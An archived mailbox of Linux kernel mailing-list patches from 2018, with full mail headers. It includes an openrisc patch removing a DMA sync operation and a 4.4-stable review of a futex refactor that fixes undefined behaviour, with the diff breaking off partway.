-	.map_page		= nios2_dma_map_page,
-	.unmap_page		= nios2_dma_unmap_page,
-	.map_sg			= nios2_dma_map_sg,
-	.unmap_sg		= nios2_dma_unmap_sg,
-	.sync_single_for_device	= nios2_dma_sync_single_for_device,
-	.sync_single_for_cpu	= nios2_dma_sync_single_for_cpu,
-	.sync_sg_for_cpu	= nios2_dma_sync_sg_for_cpu,
-	.sync_sg_for_device	= nios2_dma_sync_sg_for_device,
-};
-EXPORT_SYMBOL(nios2_dma_ops);
-- 
2.17.0


From - Thu Nov 08 21:41:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 12/25] openrisc: remove the sync_single_for_cpu DMA operation
Date: Tue, 22 May 2018 14:04:17 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <20180522120430.28709-13-hch@lst.de>
References: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526991190 2301 195.159.176.226 (22 May 2018 12:13:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:13:10 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Tue May 22 14:13:04 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fL6A4-0000QI-Ei
	for glki-iommu@m.gmane.org; Tue, 22 May 2018 14:13:04 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 083F6D02;
	Tue, 22 May 2018 12:05:31 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp2.linuxfoundation.org (smtp2.linux-foundation.org
	[172.17.192.36])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id A0FCCCB6
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 22 May 2018 12:05:29 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp2.linuxfoundation.org (Postfix) with ESMTPS id 0D6F31DAA9
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 22 May 2018 12:05:29 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=3X9/Tom9ASBMGSi/LDU7cBZ334J+TTZzxFLYPETEYIU=;
	b=Vlpc+QWkuNRroj9dqMV4XOzrY
	O73NOCvTeMO1IeI77/5Fy452W6YcGwUXRgzSryJxWK918yYhq+QogGeCvUMQYfqOPdGjZcnpoMpCN
	oIM7xlLdPvFyeC9V2zsV+keoKnmpt4avjSrXxMN/nEgT4v7IblzH0mRKlRoNt4i4RWZv6yqoyyrVv
	yS+Uif9F0XDniYg27Uujr7NK2ifaLJt5ozZEwBb9RIsvXpgNZipou4zlbcsBL+w0SBqVC+g+GIzrR
	9RTPvb42WgnVT5yFobOeCaMNpWQ3QEOIIenQARZsCaMr3KwiaoHwTh926f77nZMLk3oVYzbC4WtFX
	WFYm1Jclw==;
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fL62X-0000IG-At; Tue, 22 May 2018 12:05:17 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180522120430.28709-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24500 gmane.linux.kernel.cross-arch:44309 gmane.linux.ports.parisc:28662 gmane.linux.ports.sh.devel:57080 gmane.linux.ports.hexagon:1768 gmane.linux.kernel:2773791 gmane.linux.ports.alpha:5089 gmane.linux.ports.sparc:27917 gmane.linux.kernel.arc:3945 gmane.linux.ports.arm.kernel:652044
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24500>

openrisc does all the required cache maintainance at dma map time, and none
at unmap time.  It thus has to implement sync_single_for_device to match
the map cace for buffer reuse, but there is no point in doing another
invalidation in the sync_single_cpu_case, which in terms of cache
maintainance is equivalent to the unmap case.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/openrisc/kernel/dma.c | 15 ---------------
 1 file changed, 15 deletions(-)

diff --git a/arch/openrisc/kernel/dma.c b/arch/openrisc/kernel/dma.c
index ec7fd45704d2..47601274abf7 100644
--- a/arch/openrisc/kernel/dma.c
+++ b/arch/openrisc/kernel/dma.c
@@ -208,20 +208,6 @@ or1k_unmap_sg(struct device *dev, struct scatterlist *sg,
 	}
 }
 
-static void
-or1k_sync_single_for_cpu(struct device *dev,
-			 dma_addr_t dma_handle, size_t size,
-			 enum dma_data_direction dir)
-{
-	unsigned long cl;
-	dma_addr_t addr = dma_handle;
-	struct cpuinfo_or1k *cpuinfo = &cpuinfo_or1k[smp_processor_id()];
-
-	/* Invalidate the dcache for the requested range */
-	for (cl = addr; cl < addr + size; cl += cpuinfo->dcache_block_size)
-		mtspr(SPR_DCBIR, cl);
-}
-
 static void
 or1k_sync_single_for_device(struct device *dev,
 			    dma_addr_t dma_handle, size_t size,
@@ -243,7 +229,6 @@ const struct dma_map_ops or1k_dma_map_ops = {
 	.unmap_page = or1k_unmap_page,
 	.map_sg = or1k_map_sg,
 	.unmap_sg = or1k_unmap_sg,
-	.sync_single_for_cpu = or1k_sync_single_for_cpu,
 	.sync_single_for_device = or1k_sync_single_for_device,
 };
 EXPORT_SYMBOL(or1k_dma_map_ops);
-- 
2.17.0


From - Thu Nov 08 21:41:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.parisc,gmane.linux.kernel.stable,gmane.linux.ports.ppc64.devel
Subject: [PATCH 4.4 25/92] futex: Remove duplicated code and fix undefined
 behaviour
Date: Thu, 24 May 2018 11:38:02 +0200
Lines: 1086
Approved: news@gmane.org
Message-ID: <20180524093201.354618799@linuxfoundation.org>
References: <20180524093159.286472249@linuxfoundation.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1527154915 3296 195.159.176.226 (24 May 2018 09:41:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 24 May 2018 09:41:55 +0000 (UTC)
User-Agent: quilt/0.65
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org, peterz@infradead.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Max Filippov <jcmvbkbc@gmail.com>, Paul Mackerras <paulus@samba.org>,
 Ralf Baechle <ralf@linux-mips.org>, sparclinux@vger.kernel.org,
 Jiri Slaby <jslaby@suse.cz>, Stafford Horne <shorne@gmail.com>,
 Jonas Bonn <jonas@southpole.se>, linux-s390@vger.kernel.org,
 Ben Hutchings <ben.hutchings@codethink.co.uk>,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-hexagon@vger.kernel.org,
 Helge Deller <deller@gmx.de>, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Fenghua Yu <fenghua.yu@intel.com>, Catalin Marinas <catalin.marinas@arm.com>,
 "Darren Hart \(VMware\)" <dvhart@infradead.org>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 linux-arch@vger.kernel.org, Arnd Bergmann
To: linux-kernel@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu May 24 11:41:46 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1fLmkk-0000fH-5M
	for linux-arm-kernel@m.gmane.org; Thu, 24 May 2018 11:41:46 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:References:In-Reply-To:
	Message-Id:Date:Subject:To:From:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=u4DytsHF+f11kUv9VGDEQ9ZgAdUEIaNkPgoNFY4x60s=; b=TYoMjlJf0vsRUh
	dXcHeaJ4xe/iGqrIeawdKP37FUZZNThgmDZZN6r8bwUmmiQcNqLVh3acg8DZNG9AN3a0iYXB4cRJT
	fdJz6PnuVw2xslewppjkRTWTITikiskmUTuNHYw8NeztC6iCs2u3Y6MwwQyLl30s2XPe8oCAKyI6v
	tVZLK5CJ6jq/PQbbAN2KkFC/nnjrRosGoFFvgx0QSfqiPvwbEtdOy6pk+djx3KaEQvILNf1Jw3y24
	gG26lNj/fMmOwW1iuTgqb5WXCZ3jG6IAgpAr/neHzicXCA/aLqO7tMFm6FQEC16qGkhi3MYAB9PVm
	5oNXtmGrBiy9TXRNf3Jw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fLmmq-0003WP-2V; Thu, 24 May 2018 09:43:56 +0000
Original-Received: from mail.kernel.org ([198.145.29.99])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fLmmj-0003Vo-S0; Thu, 24 May 2018 09:43:53 +0000
Original-Received: from localhost (LFbn-1-12247-202.w90-92.abo.wanadoo.fr
 [90.92.61.202])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by mail.kernel.org (Postfix) with ESMTPSA id 9E2AC208B9;
 Thu, 24 May 2018 09:43:38 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=kernel.org;
 s=default; t=1527155019;
 bh=c5yFm/JqrPOIIUtQUmrGzlglxNQiE7lp9IjJ3MHYExM=;
 h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
 b=hJDlDIb5Mv52lQ2SNyrwlK+xdONWIFsgh1eBd4ihpkJ5j4GorqFuSgDIq+pzW4vpu
 IABZE8S/kXYWJv7s0DcywGniqn0XTVP1MBCViun4/cF7rNgib3I13iY0lrpKuk8tZr
 URRIdXzGQjFLYZH+cEfCKcR+AoqR6BYnpYOQKaiI=
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180524093159.286472249@linuxfoundation.org>
X-stable: review
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180524_024349_981030_834158BC 
X-CRM114-Status: GOOD (  15.87  )
X-Spam-Score: -4.8 (----)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-4.8 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -5.0 RCVD_IN_DNSWL_HI       RBL: Sender listed at http://www.dnswl.org/, high
 trust [198.145.29.99 listed in list.dnswl.org]
 0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail
 domains are different
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.0 T_DKIMWL_WL_HIGH       DKIMwl.org - Whitelisted High sender
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:652687 gmane.linux.kernel:2775984 gmane.linux.ports.mips.general:64854 gmane.linux.ports.ia64:28820 gmane.linux.ports.sh.devel:57081 gmane.linux.ports.sparc:27920 gmane.linux.ports.hexagon:1769 gmane.linux.kernel.arc:3949 gmane.linux.kernel.cross-arch:44354 gmane.linux.ports.alpha:5091 gmane.linux.ports.parisc:28663 gmane.linux.kernel.stable:284516 gmane.linux.ports.ppc64.devel:157794
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/652687>

4.4-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Jiri Slaby <jslaby@suse.cz>

commit 30d6e0a4190d37740e9447e4e4815f06992dd8c3 upstream.

There is code duplicated over all architecture's headers for
futex_atomic_op_inuser. Namely op decoding, access_ok check for uaddr,
and comparison of the result.

Remove this duplication and leave up to the arches only the needed
assembly which is now in arch_futex_atomic_op_inuser.

This effectively distributes the Will Deacon's arm64 fix for undefined
behaviour reported by UBSAN to all architectures. The fix was done in
commit 5f16a046f8e1 (arm64: futex: Fix undefined behaviour with
FUTEX_OP_OPARG_SHIFT usage). Look there for an example dump.

And as suggested by Thomas, check for negative oparg too, because it was
also reported to cause undefined behaviour report.

Note that s390 removed access_ok check in d12a29703 ("s390/uaccess:
remove pointless access_ok() checks") as access_ok there returns true.
We introduce it back to the helper for the sake of simplicity (it gets
optimized away anyway).

Signed-off-by: Jiri Slaby <jslaby@suse.cz>
Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
Acked-by: Russell King <rmk+kernel@armlinux.org.uk>
Acked-by: Michael Ellerman <mpe@ellerman.id.au> (powerpc)
Acked-by: Heiko Carstens <heiko.carstens@de.ibm.com> [s390]
Acked-by: Chris Metcalf <cmetcalf@mellanox.com> [for tile]
Reviewed-by: Darren Hart (VMware) <dvhart@infradead.org>
Reviewed-by: Will Deacon <will.deacon@arm.com> [core/arm64]
Cc: linux-mips@linux-mips.org
Cc: Rich Felker <dalias@libc.org>
Cc: linux-ia64@vger.kernel.org
Cc: linux-sh@vger.kernel.org
Cc: peterz@infradead.org
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Cc: Max Filippov <jcmvbkbc@gmail.com>
Cc: Paul Mackerras <paulus@samba.org>
Cc: sparclinux@vger.kernel.org
Cc: Jonas Bonn <jonas@southpole.se>
Cc: linux-s390@vger.kernel.org
Cc: linux-arch@vger.kernel.org
Cc: Yoshinori Sato <ysato@users.sourceforge.jp>
Cc: linux-hexagon@vger.kernel.org
Cc: Helge Deller <deller@gmx.de>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Matt Turner <mattst88@gmail.com>
Cc: linux-snps-arc@lists.infradead.org
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: Arnd Bergmann <arnd@arndb.de>
Cc: linux-xtensa@linux-xtensa.org
Cc: Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>
Cc: openrisc@lists.librecores.org
Cc: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
Cc: Stafford Horne <shorne@gmail.com>
Cc: linux-arm-kernel@lists.infradead.org
Cc: Richard Henderson <rth@twiddle.net>
Cc: Chris Zankel <chris@zankel.net>
Cc: Michal Simek <monstr@monstr.eu>
Cc: Tony Luck <tony.luck@intel.com>
Cc: linux-parisc@vger.kernel.org
Cc: Vineet Gupta <vgupta@synopsys.com>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Richard Kuo <rkuo@codeaurora.org>
Cc: linux-alpha@vger.kernel.org
Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
Cc: linuxppc-dev@lists.ozlabs.org
Cc: "David S. Miller" <davem@davemloft.net>
Link: http://lkml.kernel.org/r/20170824073105.3901-1-jslaby@suse.cz
Cc: Ben Hutchings <ben.hutchings@codethink.co.uk>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 arch/alpha/include/asm/futex.h      |   26 +++---------------
 arch/arc/include/asm/futex.h        |   40 +++-------------------------
 arch/arm/include/asm/futex.h        |   26 ++----------------
 arch/arm64/include/asm/futex.h      |   26 ++----------------
 arch/frv/include/asm/futex.h        |    3 +-
 arch/frv/kernel/futex.c             |   27 ++-----------------
 arch/hexagon/include/asm/futex.h    |   38 ++-------------------------
 arch/ia64/include/asm/futex.h       |   25 ++----------------
 arch/microblaze/include/asm/futex.h |   38 ++-------------------------
 arch/mips/include/asm/futex.h       |   25 ++----------------
 arch/parisc/include/asm/futex.h     |   25 ++----------------
 arch/powerpc/include/asm/futex.h    |   26 +++---------------
 arch/s390/include/asm/futex.h       |   23 +++-------------
 arch/sh/include/asm/futex.h         |   26 ++----------------
 arch/sparc/include/asm/futex_64.h   |   26 +++---------------
 arch/tile/include/asm/futex.h       |   40 +++-------------------------
 arch/x86/include/asm/futex.h        |   40 +++-------------------------
 arch/xtensa/include/asm/futex.h     |   27 +++----------------
 include/asm-generic/futex.h         |   50 ++++++------------------------------
 kernel/futex.c                      |   39 ++++++++++++++++++++++++++++
 20 files changed, 126 insertions(+), 470 deletions(-)

--- a/arch/alpha/include/asm/futex.h
+++ b/arch/alpha/include/asm/futex.h
@@ -29,18 +29,10 @@
 	:	"r" (uaddr), "r"(oparg)				\
 	:	"memory")
 
-static inline int futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -66,17 +58,9 @@ static inline int futex_atomic_op_inuser
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/arc/include/asm/futex.h
+++ b/arch/arc/include/asm/futex.h
@@ -73,20 +73,11 @@
 
 #endif
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(int)))
-		return -EFAULT;
-
 #ifndef CONFIG_ARC_HAS_LLSC
 	preempt_disable();	/* to guarantee atomic r-m-w of futex op */
 #endif
@@ -118,30 +109,9 @@ static inline int futex_atomic_op_inuser
 	preempt_enable();
 #endif
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/arm/include/asm/futex.h
+++ b/arch/arm/include/asm/futex.h
@@ -128,20 +128,10 @@ futex_atomic_cmpxchg_inatomic(u32 *uval,
 #endif /* !SMP */
 
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret, tmp;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 #ifndef CONFIG_SMP
 	preempt_disable();
 #endif
@@ -172,17 +162,9 @@ futex_atomic_op_inuser (int encoded_op,
 	preempt_enable();
 #endif
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/arm64/include/asm/futex.h
+++ b/arch/arm64/include/asm/futex.h
@@ -53,20 +53,10 @@
 	: "memory")
 
 static inline int
-futex_atomic_op_inuser(unsigned int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (int)(encoded_op << 8) >> 20;
-	int cmparg = (int)(encoded_op << 20) >> 20;
 	int oldval = 0, ret, tmp;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1U << (oparg & 0x1f);
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -96,17 +86,9 @@ futex_atomic_op_inuser(unsigned int enco
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
--- a/arch/frv/include/asm/futex.h
+++ b/arch/frv/include/asm/futex.h
@@ -7,7 +7,8 @@
 #include <asm/errno.h>
 #include <asm/uaccess.h>
 
-extern int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr);
+extern int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr);
 
 static inline int
 futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
--- a/arch/frv/kernel/futex.c
+++ b/arch/frv/kernel/futex.c
@@ -186,20 +186,10 @@ static inline int atomic_futex_op_xchg_x
 /*
  * do the futex operations
  */
